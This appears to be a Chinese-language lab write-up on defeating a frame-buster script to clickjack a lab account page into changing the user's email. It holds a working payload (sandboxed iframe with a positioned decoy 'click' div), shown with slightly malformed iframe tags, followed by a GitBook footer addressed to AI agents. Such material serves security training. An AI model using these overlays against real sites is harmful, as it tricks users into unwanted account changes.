# 带防框架脚本的点击劫持

### 带防框脚本的点击劫持

执行一次点击劫持攻击，即使存在“防框脚本”，也能更改用户的电子邮件地址。当账户邮箱被更改后，实验即算完成。

#### 提供的凭据

* 用户： `wiener`
* 密码： `peter`

#### 初始观察

通过尝试在一个经典的 `<iframe>`中显示账户页面，页面返回以下内容（示例 d

{% code overflow="wrap" %}

```html
<iframe src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=wiener"</iframe>
```

{% endcode %}

#### 观察到的防护（防框脚本）

页面包含一段脚本，可阻止被框架嵌入，并在页面被加载于框架中时替换文档主体内容：

```javascript
if(top != self) {
 window.addEventListener("DOMContentLoaded", function() {
 document.body.innerHTML = '此页面不能被嵌入框架';
 }, false);
}
```

此机制会检测页面是否处于 iframe 中，并将显示的内容无效化。

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

{% endcode %}

<figure><img src="/files/41b01108ac9b407af6a824a8655950f2182e68db" alt=""><figcaption></figcaption></figure>

所使用的样式和诱饵层示例

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>点击</div>
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-with-frame-buster-script.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
